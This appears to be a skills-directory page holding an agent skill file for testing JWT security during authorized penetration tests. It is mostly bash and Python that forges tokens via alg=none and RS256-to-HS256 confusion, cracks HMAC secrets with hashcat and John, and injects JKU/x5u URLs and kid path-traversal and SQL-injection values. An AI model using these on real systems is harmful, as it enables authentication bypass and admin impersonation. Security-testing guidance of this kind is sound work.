[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7ABVN7MG96P1YQBC9AZSEBA":3,"skill-same:01M7ABVN7MG96P1YQBC9AZSEBA":84},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":16,"sourceHtmlUrl":17,"categories":18,"keywords":19,"publishedAt":20,"linkOnly":21,"markdownContent":22,"markdownBody":23,"frontMatter":24,"refName":47,"commitSha":48,"skillDirectory":49,"forksCount":14,"repositoryHtmlUrl":50,"repositoryHomepageUrl":6,"ownerHtmlUrl":51,"ownerBlogUrl":6,"ownerDescription":52,"updatedAt":53,"install":54,"resources":67},"01M7ABVN7MG96P1YQBC9AZSEBA","testing-jwt-token-security",null,"Assessing JSON Web Token implementations for cryptographic weaknesses, algorithm confusion attacks, and authorization bypass vulnerabilities during security engagements.","NeelakshSaxena\u002FVayu","NeelakshSaxena","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F87892838?v=4","01M7A3B9YFS6F6N9DD1787DT86","Neelaksh Saxena","01M7A3B9ZKBT09MNMPX2XN69BY",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Ftesting-jwt-token-security\u002FLICENSE","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Ftesting-jwt-token-security\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: testing-jwt-token-security\ndescription: Assessing JSON Web Token implementations for cryptographic weaknesses,\n  algorithm confusion attacks, and authorization bypass vulnerabilities during security\n  engagements.\ndomain: cybersecurity\nsubdomain: web-application-security\ntags:\n- penetration-testing\n- jwt\n- authentication\n- web-security\n- token-security\n- burpsuite\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- PR.PS-01\n- ID.RA-01\n- PR.DS-10\n- DE.CM-01\nmitre_attack:\n- T1190\n- T1059.007\n- T1505.003\n- T1083\n- T1027\n---\n\n# Testing JWT Token Security\n\n## When to Use\n\n- During authorized penetration tests when the application uses JWT for authentication or authorization\n- When assessing API security where JWTs are passed as Bearer tokens or in cookies\n- For evaluating SSO implementations that use JWT\u002FJWS\u002FJWE tokens\n- When testing OAuth 2.0 or OpenID Connect flows that issue JWTs\n- During security audits of microservice architectures using JWT for inter-service authentication\n\n## Prerequisites\n\n- **Authorization**: Written penetration testing agreement for the target\n- **jwt_tool**: JWT attack toolkit (`pip install jwt_tool` or `git clone https:\u002F\u002Fgithub.com\u002Fticarpi\u002Fjwt_tool.git`)\n- **Burp Suite Professional**: With JSON Web Token extension from BApp Store\n- **Python PyJWT**: For scripting custom JWT attacks (`pip install pyjwt`)\n- **Hashcat**: For brute-forcing HMAC secrets (`apt install hashcat`)\n- **jq**: For JSON processing\n- **Target JWT**: A valid JWT token from the application\n\n## Workflow\n\n### Step 1: Decode and Analyze the JWT Structure\n\nExtract and examine the header, payload, and signature components.\n\n```bash\n# Decode JWT parts (base64url decode)\nJWT=\"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c\"\n\n# Decode header\necho \"$JWT\" | cut -d. -f1 | base64 -d 2>\u002Fdev\u002Fnull | jq .\n# Output: {\"alg\":\"HS256\",\"typ\":\"JWT\"}\n\n# Decode payload\necho \"$JWT\" | cut -d. -f2 | base64 -d 2>\u002Fdev\u002Fnull | jq .\n# Output: {\"sub\":\"1234567890\",\"name\":\"John Doe\",\"iat\":1516239022}\n\n# Using jwt_tool for comprehensive analysis\npython3 jwt_tool.py \"$JWT\"\n\n# Check for sensitive data in the payload:\n# - PII (email, phone, address)\n# - Internal IDs or database references\n# - Role\u002Fpermission claims\n# - Expiration times (exp, nbf, iat)\n# - Issuer (iss) and audience (aud)\n```\n\n### Step 2: Test Algorithm None Attack\n\nAttempt to forge tokens by setting the algorithm to \"none\".\n\n```bash\n# jwt_tool algorithm none attack\npython3 jwt_tool.py \"$JWT\" -X a\n\n# Manual none algorithm attack\n# Create header: {\"alg\":\"none\",\"typ\":\"JWT\"}\nHEADER=$(echo -n '{\"alg\":\"none\",\"typ\":\"JWT\"}' | base64 | tr -d '=' | tr '+\u002F' '-_')\n\n# Create modified payload (change role to admin)\nPAYLOAD=$(echo -n '{\"sub\":\"1234567890\",\"name\":\"John Doe\",\"role\":\"admin\",\"iat\":1516239022}' | base64 | tr -d '=' | tr '+\u002F' '-_')\n\n# Construct token with empty signature\nFORGED_JWT=\"${HEADER}.${PAYLOAD}.\"\necho \"Forged JWT: $FORGED_JWT\"\n\n# Test the forged token\ncurl -s -H \"Authorization: Bearer $FORGED_JWT\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fadmin\u002Fusers\" | jq .\n\n# Try variations: \"None\", \"NONE\", \"nOnE\"\nfor alg in none None NONE nOnE; do\n  HEADER=$(echo -n \"{\\\"alg\\\":\\\"$alg\\\",\\\"typ\\\":\\\"JWT\\\"}\" | base64 | tr -d '=' | tr '+\u002F' '-_')\n  FORGED=\"${HEADER}.${PAYLOAD}.\"\n  echo -n \"alg=$alg: \"\n  curl -s -o \u002Fdev\u002Fnull -w \"%{http_code}\" \\\n    -H \"Authorization: Bearer $FORGED\" \\\n    \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fadmin\u002Fusers\"\n  echo\ndone\n```\n\n### Step 3: Test Algorithm Confusion (RS256 to HS256)\n\nIf the server uses RS256, try switching to HS256 and signing with the public key.\n\n```bash\n# Step 1: Obtain the server's public key\n# Check common locations\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002F.well-known\u002Fjwks.json\" | jq .\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002F.well-known\u002Fopenid-configuration\" | jq .jwks_uri\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Foauth\u002Fcerts\" | jq .\n\n# Step 2: Extract public key from JWKS\n# Save the JWKS and convert to PEM format\n# Use jwt_tool or openssl\n\n# Step 3: jwt_tool key confusion attack\npython3 jwt_tool.py \"$JWT\" -X k -pk public_key.pem\n\n# Manual algorithm confusion attack with Python\npython3 \u003C\u003C 'PYEOF'\nimport jwt\nimport json\n\n# Read the server's RSA public key\nwith open('public_key.pem', 'r') as f:\n    public_key = f.read()\n\n# Create forged payload\npayload = {\n    \"sub\": \"1234567890\",\n    \"name\": \"Admin User\",\n    \"role\": \"admin\",\n    \"iat\": 1516239022,\n    \"exp\": 9999999999\n}\n\n# Sign with HS256 using the RSA public key as the HMAC secret\nforged_token = jwt.encode(payload, public_key, algorithm='HS256')\nprint(f\"Forged token: {forged_token}\")\nPYEOF\n\n# Test the forged token\ncurl -s -H \"Authorization: Bearer $FORGED_TOKEN\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fadmin\u002Fusers\"\n```\n\n### Step 4: Brute-Force HMAC Secret\n\nIf HS256 is used, attempt to crack the signing secret.\n\n```bash\n# Using jwt_tool with common secrets\npython3 jwt_tool.py \"$JWT\" -C -d \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt\n\n# Using hashcat for GPU-accelerated cracking\n# Mode 16500 = JWT (HS256)\nhashcat -a 0 -m 16500 \"$JWT\" \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt\n\n# Using john the ripper\necho \"$JWT\" > jwt_hash.txt\njohn jwt_hash.txt --wordlist=\u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt --format=HMAC-SHA256\n\n# If secret is found, forge arbitrary tokens\npython3 \u003C\u003C 'PYEOF'\nimport jwt\n\nsecret = \"cracked_secret_here\"\npayload = {\n    \"sub\": \"1\",\n    \"name\": \"Admin\",\n    \"role\": \"admin\",\n    \"exp\": 9999999999\n}\ntoken = jwt.encode(payload, secret, algorithm='HS256')\nprint(f\"Forged token: {token}\")\nPYEOF\n```\n\n### Step 5: Test JWT Claim Manipulation and Injection\n\nModify JWT claims to escalate privileges or bypass authorization.\n\n```bash\n# Using jwt_tool for claim tampering\n# Change role claim\npython3 jwt_tool.py \"$JWT\" -T -S hs256 -p \"known_secret\" \\\n  -pc role -pv admin\n\n# Test common claim attacks:\n\n# 1. JKU (JWK Set URL) injection\npython3 jwt_tool.py \"$JWT\" -X s -ju \"https:\u002F\u002Fattacker.example.com\u002Fjwks.json\"\n# Host attacker-controlled JWKS at the URL\n\n# 2. KID (Key ID) injection\n# SQL injection in kid parameter\npython3 jwt_tool.py \"$JWT\" -I -hc kid -hv \"..\u002F..\u002Fdev\u002Fnull\" -S hs256 -p \"\"\n# If kid is used in file path lookup, point to \u002Fdev\u002Fnull (empty key)\n\n# SQL injection via kid\npython3 jwt_tool.py \"$JWT\" -I -hc kid -hv \"' UNION SELECT 'secret' --\" -S hs256 -p \"secret\"\n\n# 3. x5u (X.509 URL) injection\npython3 jwt_tool.py \"$JWT\" -X s -x5u \"https:\u002F\u002Fattacker.example.com\u002Fcert.pem\"\n\n# 4. Modify subject and role claims\npython3 jwt_tool.py \"$JWT\" -T -S hs256 -p \"secret\" \\\n  -pc sub -pv \"admin@target.com\" \\\n  -pc role -pv \"superadmin\"\n```\n\n### Step 6: Test Token Lifetime and Revocation\n\nAssess token expiration enforcement and revocation capabilities.\n\n```bash\n# Test expired token acceptance\npython3 \u003C\u003C 'PYEOF'\nimport jwt\nimport time\n\nsecret = \"known_secret\"\n# Create token that expired 1 hour ago\npayload = {\n    \"sub\": \"user123\",\n    \"role\": \"user\",\n    \"exp\": int(time.time()) - 3600,\n    \"iat\": int(time.time()) - 7200\n}\nexpired_token = jwt.encode(payload, secret, algorithm='HS256')\nprint(f\"Expired token: {expired_token}\")\nPYEOF\n\ncurl -s -H \"Authorization: Bearer $EXPIRED_TOKEN\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fprofile\" -w \"%{http_code}\"\n\n# Test token with far-future expiration\npython3 \u003C\u003C 'PYEOF'\nimport jwt\n\nsecret = \"known_secret\"\npayload = {\n    \"sub\": \"user123\",\n    \"role\": \"user\",\n    \"exp\": 32503680000  # Year 3000\n}\nlong_lived = jwt.encode(payload, secret, algorithm='HS256')\nprint(f\"Long-lived token: {long_lived}\")\nPYEOF\n\n# Test token reuse after logout\n# 1. Capture JWT before logout\n# 2. Log out (call \u002Fauth\u002Flogout)\n# 3. Try using the captured JWT again\ncurl -s -H \"Authorization: Bearer $PRE_LOGOUT_TOKEN\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fprofile\" -w \"%{http_code}\"\n# If 200, tokens are not revoked on logout\n\n# Test token reuse after password change\n# Similar test: capture JWT, change password, reuse old JWT\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| **Algorithm None Attack** | Removing signature verification by setting `alg` to `none` |\n| **Algorithm Confusion** | Switching from RS256 to HS256 and signing with the public key as HMAC secret |\n| **HMAC Brute Force** | Cracking weak HS256 signing secrets using wordlists or brute force |\n| **JKU\u002Fx5u Injection** | Pointing JWT header URLs to attacker-controlled key servers |\n| **KID Injection** | Exploiting SQL injection or path traversal in the Key ID header parameter |\n| **Claim Tampering** | Modifying payload claims (role, sub, permissions) after compromising the signing key |\n| **Token Revocation** | The ability (or inability) to invalidate tokens before their expiration |\n| **JWE vs JWS** | JSON Web Encryption (confidentiality) vs JSON Web Signature (integrity) |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| **jwt_tool** | Comprehensive JWT testing toolkit with automated attack modules |\n| **Burp JWT Editor** | Burp Suite extension for real-time JWT manipulation |\n| **Hashcat** | GPU-accelerated HMAC secret brute-forcing (mode 16500) |\n| **John the Ripper** | CPU-based JWT secret cracking |\n| **PyJWT** | Python library for programmatic JWT creation and manipulation |\n| **jwt.io** | Online JWT decoder for quick analysis (do not paste production tokens) |\n\n## Common Scenarios\n\n### Scenario 1: Algorithm None Bypass\nThe JWT library accepts `\"alg\":\"none\"` tokens, allowing any user to forge admin tokens by simply removing the signature and changing the algorithm header.\n\n### Scenario 2: Weak HMAC Secret\nThe application uses HS256 with a dictionary word as the signing secret. Hashcat cracks the secret in minutes, enabling complete token forgery and admin impersonation.\n\n### Scenario 3: Algorithm Confusion on SSO\nAn SSO provider uses RS256 but the consumer application also accepts HS256. The attacker signs a forged token with the publicly available RSA public key using HS256.\n\n### Scenario 4: KID SQL Injection\nThe `kid` header parameter is used in a SQL query to look up signing keys. Injecting `' UNION SELECT 'attacker_secret' --` allows the attacker to control the signing key.\n\n## Output Format\n\n```\n## JWT Security Finding\n\n**Vulnerability**: JWT Algorithm Confusion (RS256 to HS256)\n**Severity**: Critical (CVSS 9.8)\n**Location**: Authorization header across all API endpoints\n**OWASP Category**: A02:2021 - Cryptographic Failures\n\n### JWT Configuration\n| Property | Value |\n|----------|-------|\n| Algorithm | RS256 (also accepts HS256) |\n| Issuer | auth.target.example.com |\n| Expiration | 24 hours |\n| Public Key | Available at \u002F.well-known\u002Fjwks.json |\n| Revocation | Not implemented |\n\n### Attacks Confirmed\n| Attack | Result |\n|--------|--------|\n| Algorithm None | Blocked |\n| Algorithm Confusion (RS256→HS256) | VULNERABLE |\n| HMAC Brute Force | N\u002FA (RSA) |\n| KID Injection | Not present |\n| Expired Token Reuse | Accepted (no revocation) |\n\n### Impact\n- Complete authentication bypass via forged admin tokens\n- Any user can escalate to any role by forging JWT claims\n- Tokens remain valid after logout (no server-side revocation)\n\n### Recommendation\n1. Enforce algorithm allowlisting on the server side (reject unexpected algorithms)\n2. Use asymmetric algorithms (RS256\u002FES256) with proper key management\n3. Implement token revocation via a blocklist or short expiration with refresh tokens\n4. Validate all JWT claims server-side (iss, aud, exp, nbf)\n5. Use a minimum key length of 256 bits for HMAC secrets\n```\n","# Testing JWT Token Security\n\n## When to Use\n\n- During authorized penetration tests when the application uses JWT for authentication or authorization\n- When assessing API security where JWTs are passed as Bearer tokens or in cookies\n- For evaluating SSO implementations that use JWT\u002FJWS\u002FJWE tokens\n- When testing OAuth 2.0 or OpenID Connect flows that issue JWTs\n- During security audits of microservice architectures using JWT for inter-service authentication\n\n## Prerequisites\n\n- **Authorization**: Written penetration testing agreement for the target\n- **jwt_tool**: JWT attack toolkit (`pip install jwt_tool` or `git clone https:\u002F\u002Fgithub.com\u002Fticarpi\u002Fjwt_tool.git`)\n- **Burp Suite Professional**: With JSON Web Token extension from BApp Store\n- **Python PyJWT**: For scripting custom JWT attacks (`pip install pyjwt`)\n- **Hashcat**: For brute-forcing HMAC secrets (`apt install hashcat`)\n- **jq**: For JSON processing\n- **Target JWT**: A valid JWT token from the application\n\n## Workflow\n\n### Step 1: Decode and Analyze the JWT Structure\n\nExtract and examine the header, payload, and signature components.\n\n```bash\n# Decode JWT parts (base64url decode)\nJWT=\"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c\"\n\n# Decode header\necho \"$JWT\" | cut -d. -f1 | base64 -d 2>\u002Fdev\u002Fnull | jq .\n# Output: {\"alg\":\"HS256\",\"typ\":\"JWT\"}\n\n# Decode payload\necho \"$JWT\" | cut -d. -f2 | base64 -d 2>\u002Fdev\u002Fnull | jq .\n# Output: {\"sub\":\"1234567890\",\"name\":\"John Doe\",\"iat\":1516239022}\n\n# Using jwt_tool for comprehensive analysis\npython3 jwt_tool.py \"$JWT\"\n\n# Check for sensitive data in the payload:\n# - PII (email, phone, address)\n# - Internal IDs or database references\n# - Role\u002Fpermission claims\n# - Expiration times (exp, nbf, iat)\n# - Issuer (iss) and audience (aud)\n```\n\n### Step 2: Test Algorithm None Attack\n\nAttempt to forge tokens by setting the algorithm to \"none\".\n\n```bash\n# jwt_tool algorithm none attack\npython3 jwt_tool.py \"$JWT\" -X a\n\n# Manual none algorithm attack\n# Create header: {\"alg\":\"none\",\"typ\":\"JWT\"}\nHEADER=$(echo -n '{\"alg\":\"none\",\"typ\":\"JWT\"}' | base64 | tr -d '=' | tr '+\u002F' '-_')\n\n# Create modified payload (change role to admin)\nPAYLOAD=$(echo -n '{\"sub\":\"1234567890\",\"name\":\"John Doe\",\"role\":\"admin\",\"iat\":1516239022}' | base64 | tr -d '=' | tr '+\u002F' '-_')\n\n# Construct token with empty signature\nFORGED_JWT=\"${HEADER}.${PAYLOAD}.\"\necho \"Forged JWT: $FORGED_JWT\"\n\n# Test the forged token\ncurl -s -H \"Authorization: Bearer $FORGED_JWT\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fadmin\u002Fusers\" | jq .\n\n# Try variations: \"None\", \"NONE\", \"nOnE\"\nfor alg in none None NONE nOnE; do\n  HEADER=$(echo -n \"{\\\"alg\\\":\\\"$alg\\\",\\\"typ\\\":\\\"JWT\\\"}\" | base64 | tr -d '=' | tr '+\u002F' '-_')\n  FORGED=\"${HEADER}.${PAYLOAD}.\"\n  echo -n \"alg=$alg: \"\n  curl -s -o \u002Fdev\u002Fnull -w \"%{http_code}\" \\\n    -H \"Authorization: Bearer $FORGED\" \\\n    \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fadmin\u002Fusers\"\n  echo\ndone\n```\n\n### Step 3: Test Algorithm Confusion (RS256 to HS256)\n\nIf the server uses RS256, try switching to HS256 and signing with the public key.\n\n```bash\n# Step 1: Obtain the server's public key\n# Check common locations\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002F.well-known\u002Fjwks.json\" | jq .\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002F.well-known\u002Fopenid-configuration\" | jq .jwks_uri\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Foauth\u002Fcerts\" | jq .\n\n# Step 2: Extract public key from JWKS\n# Save the JWKS and convert to PEM format\n# Use jwt_tool or openssl\n\n# Step 3: jwt_tool key confusion attack\npython3 jwt_tool.py \"$JWT\" -X k -pk public_key.pem\n\n# Manual algorithm confusion attack with Python\npython3 \u003C\u003C 'PYEOF'\nimport jwt\nimport json\n\n# Read the server's RSA public key\nwith open('public_key.pem', 'r') as f:\n    public_key = f.read()\n\n# Create forged payload\npayload = {\n    \"sub\": \"1234567890\",\n    \"name\": \"Admin User\",\n    \"role\": \"admin\",\n    \"iat\": 1516239022,\n    \"exp\": 9999999999\n}\n\n# Sign with HS256 using the RSA public key as the HMAC secret\nforged_token = jwt.encode(payload, public_key, algorithm='HS256')\nprint(f\"Forged token: {forged_token}\")\nPYEOF\n\n# Test the forged token\ncurl -s -H \"Authorization: Bearer $FORGED_TOKEN\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fadmin\u002Fusers\"\n```\n\n### Step 4: Brute-Force HMAC Secret\n\nIf HS256 is used, attempt to crack the signing secret.\n\n```bash\n# Using jwt_tool with common secrets\npython3 jwt_tool.py \"$JWT\" -C -d \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt\n\n# Using hashcat for GPU-accelerated cracking\n# Mode 16500 = JWT (HS256)\nhashcat -a 0 -m 16500 \"$JWT\" \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt\n\n# Using john the ripper\necho \"$JWT\" > jwt_hash.txt\njohn jwt_hash.txt --wordlist=\u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt --format=HMAC-SHA256\n\n# If secret is found, forge arbitrary tokens\npython3 \u003C\u003C 'PYEOF'\nimport jwt\n\nsecret = \"cracked_secret_here\"\npayload = {\n    \"sub\": \"1\",\n    \"name\": \"Admin\",\n    \"role\": \"admin\",\n    \"exp\": 9999999999\n}\ntoken = jwt.encode(payload, secret, algorithm='HS256')\nprint(f\"Forged token: {token}\")\nPYEOF\n```\n\n### Step 5: Test JWT Claim Manipulation and Injection\n\nModify JWT claims to escalate privileges or bypass authorization.\n\n```bash\n# Using jwt_tool for claim tampering\n# Change role claim\npython3 jwt_tool.py \"$JWT\" -T -S hs256 -p \"known_secret\" \\\n  -pc role -pv admin\n\n# Test common claim attacks:\n\n# 1. JKU (JWK Set URL) injection\npython3 jwt_tool.py \"$JWT\" -X s -ju \"https:\u002F\u002Fattacker.example.com\u002Fjwks.json\"\n# Host attacker-controlled JWKS at the URL\n\n# 2. KID (Key ID) injection\n# SQL injection in kid parameter\npython3 jwt_tool.py \"$JWT\" -I -hc kid -hv \"..\u002F..\u002Fdev\u002Fnull\" -S hs256 -p \"\"\n# If kid is used in file path lookup, point to \u002Fdev\u002Fnull (empty key)\n\n# SQL injection via kid\npython3 jwt_tool.py \"$JWT\" -I -hc kid -hv \"' UNION SELECT 'secret' --\" -S hs256 -p \"secret\"\n\n# 3. x5u (X.509 URL) injection\npython3 jwt_tool.py \"$JWT\" -X s -x5u \"https:\u002F\u002Fattacker.example.com\u002Fcert.pem\"\n\n# 4. Modify subject and role claims\npython3 jwt_tool.py \"$JWT\" -T -S hs256 -p \"secret\" \\\n  -pc sub -pv \"admin@target.com\" \\\n  -pc role -pv \"superadmin\"\n```\n\n### Step 6: Test Token Lifetime and Revocation\n\nAssess token expiration enforcement and revocation capabilities.\n\n```bash\n# Test expired token acceptance\npython3 \u003C\u003C 'PYEOF'\nimport jwt\nimport time\n\nsecret = \"known_secret\"\n# Create token that expired 1 hour ago\npayload = {\n    \"sub\": \"user123\",\n    \"role\": \"user\",\n    \"exp\": int(time.time()) - 3600,\n    \"iat\": int(time.time()) - 7200\n}\nexpired_token = jwt.encode(payload, secret, algorithm='HS256')\nprint(f\"Expired token: {expired_token}\")\nPYEOF\n\ncurl -s -H \"Authorization: Bearer $EXPIRED_TOKEN\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fprofile\" -w \"%{http_code}\"\n\n# Test token with far-future expiration\npython3 \u003C\u003C 'PYEOF'\nimport jwt\n\nsecret = \"known_secret\"\npayload = {\n    \"sub\": \"user123\",\n    \"role\": \"user\",\n    \"exp\": 32503680000  # Year 3000\n}\nlong_lived = jwt.encode(payload, secret, algorithm='HS256')\nprint(f\"Long-lived token: {long_lived}\")\nPYEOF\n\n# Test token reuse after logout\n# 1. Capture JWT before logout\n# 2. Log out (call \u002Fauth\u002Flogout)\n# 3. Try using the captured JWT again\ncurl -s -H \"Authorization: Bearer $PRE_LOGOUT_TOKEN\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fprofile\" -w \"%{http_code}\"\n# If 200, tokens are not revoked on logout\n\n# Test token reuse after password change\n# Similar test: capture JWT, change password, reuse old JWT\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| **Algorithm None Attack** | Removing signature verification by setting `alg` to `none` |\n| **Algorithm Confusion** | Switching from RS256 to HS256 and signing with the public key as HMAC secret |\n| **HMAC Brute Force** | Cracking weak HS256 signing secrets using wordlists or brute force |\n| **JKU\u002Fx5u Injection** | Pointing JWT header URLs to attacker-controlled key servers |\n| **KID Injection** | Exploiting SQL injection or path traversal in the Key ID header parameter |\n| **Claim Tampering** | Modifying payload claims (role, sub, permissions) after compromising the signing key |\n| **Token Revocation** | The ability (or inability) to invalidate tokens before their expiration |\n| **JWE vs JWS** | JSON Web Encryption (confidentiality) vs JSON Web Signature (integrity) |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| **jwt_tool** | Comprehensive JWT testing toolkit with automated attack modules |\n| **Burp JWT Editor** | Burp Suite extension for real-time JWT manipulation |\n| **Hashcat** | GPU-accelerated HMAC secret brute-forcing (mode 16500) |\n| **John the Ripper** | CPU-based JWT secret cracking |\n| **PyJWT** | Python library for programmatic JWT creation and manipulation |\n| **jwt.io** | Online JWT decoder for quick analysis (do not paste production tokens) |\n\n## Common Scenarios\n\n### Scenario 1: Algorithm None Bypass\nThe JWT library accepts `\"alg\":\"none\"` tokens, allowing any user to forge admin tokens by simply removing the signature and changing the algorithm header.\n\n### Scenario 2: Weak HMAC Secret\nThe application uses HS256 with a dictionary word as the signing secret. Hashcat cracks the secret in minutes, enabling complete token forgery and admin impersonation.\n\n### Scenario 3: Algorithm Confusion on SSO\nAn SSO provider uses RS256 but the consumer application also accepts HS256. The attacker signs a forged token with the publicly available RSA public key using HS256.\n\n### Scenario 4: KID SQL Injection\nThe `kid` header parameter is used in a SQL query to look up signing keys. Injecting `' UNION SELECT 'attacker_secret' --` allows the attacker to control the signing key.\n\n## Output Format\n\n```\n## JWT Security Finding\n\n**Vulnerability**: JWT Algorithm Confusion (RS256 to HS256)\n**Severity**: Critical (CVSS 9.8)\n**Location**: Authorization header across all API endpoints\n**OWASP Category**: A02:2021 - Cryptographic Failures\n\n### JWT Configuration\n| Property | Value |\n|----------|-------|\n| Algorithm | RS256 (also accepts HS256) |\n| Issuer | auth.target.example.com |\n| Expiration | 24 hours |\n| Public Key | Available at \u002F.well-known\u002Fjwks.json |\n| Revocation | Not implemented |\n\n### Attacks Confirmed\n| Attack | Result |\n|--------|--------|\n| Algorithm None | Blocked |\n| Algorithm Confusion (RS256→HS256) | VULNERABLE |\n| HMAC Brute Force | N\u002FA (RSA) |\n| KID Injection | Not present |\n| Expired Token Reuse | Accepted (no revocation) |\n\n### Impact\n- Complete authentication bypass via forged admin tokens\n- Any user can escalate to any role by forging JWT claims\n- Tokens remain valid after logout (no server-side revocation)\n\n### Recommendation\n1. Enforce algorithm allowlisting on the server side (reject unexpected algorithms)\n2. Use asymmetric algorithms (RS256\u002FES256) with proper key management\n3. Implement token revocation via a blocklist or short expiration with refresh tokens\n4. Validate all JWT claims server-side (iss, aud, exp, nbf)\n5. Use a minimum key length of 256 bits for HMAC secrets\n```\n",{"name":5,"tags":25,"author":32,"domain":33,"license":15,"version":34,"nist_csf":35,"subdomain":40,"description":7,"mitre_attack":41},[26,27,28,29,30,31],"penetration-testing","jwt","authentication","web-security","token-security","burpsuite","mahipal","cybersecurity","1.0",[36,37,38,39],"PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01","web-application-security",[42,43,44,45,46],"T1190","T1059.007","T1505.003","T1083","T1027","main","7540bbccf0c1ded6156a467b02c95b61ad62413f",".agents\u002Fskills\u002Ftesting-jwt-token-security","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena","Currently exploring the intersection of tech","2026-09-11 03:02:31",{"source":8,"skillName":5,"commands":55,"prompt":65,"zipAvailable":66},[56,59,62],{"tool":57,"command":58},"npx","npx skills add NeelakshSaxena\u002FVayu --skill testing-jwt-token-security",{"tool":60,"command":61},"bunx","bunx skills add NeelakshSaxena\u002FVayu --skill testing-jwt-token-security",{"tool":63,"command":64},"pnpm","pnpm dlx skills add NeelakshSaxena\u002FVayu --skill testing-jwt-token-security","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Ftesting-jwt-token-security\u002FSKILL.md",true,[68,72,78],{"path":69,"resourceType":69,"resourceTypeDesc":70,"sizeBytes":71,"sourceHtmlUrl":16},"LICENSE","许可证",11255,{"path":73,"resourceType":74,"resourceTypeDesc":75,"sizeBytes":76,"sourceHtmlUrl":77},"references\u002Fapi-reference.md","REFERENCE","参考文档",2117,"https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Ftesting-jwt-token-security\u002Freferences\u002Fapi-reference.md",{"path":79,"resourceType":80,"resourceTypeDesc":81,"sizeBytes":82,"sourceHtmlUrl":83},"scripts\u002Fagent.py","SCRIPT","脚本",10166,"https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Ftesting-jwt-token-security\u002Fscripts\u002Fagent.py",[85,92,99,106,113,120],{"skillNo":86,"name":87,"nameZh":6,"description":88,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":89,"categories":90,"keywords":91,"publishedAt":20},"01M7ACCCVNCFKMA9X6D15X6G98","runpodctl","Runpod CLI for managing GPU\u002FCPU workloads from the terminal — pods, serverless endpoints, templates, network volumes, Hub deploys, models, SSH, and file transfer (send\u002Freceive). Use for terminal\u002FCI\u002Fscripting, Hub browse\u002Fdeploy, SSH setup, `doctor`, or when the Runpod MCP tools are not connected. For structured tool calls in an MCP-enabled session, prefer runpod-mcp.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpodctl\u002FSKILL.md",[],[],{"skillNo":93,"name":94,"nameZh":6,"description":95,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":96,"categories":97,"keywords":98,"publishedAt":20},"01M7ACC63SRHEA5KMCHSMZK2TC","runpod","Start here for any Runpod task — running GPU\u002FCPU pods, deploying serverless endpoints, templates, network volumes, building images, or 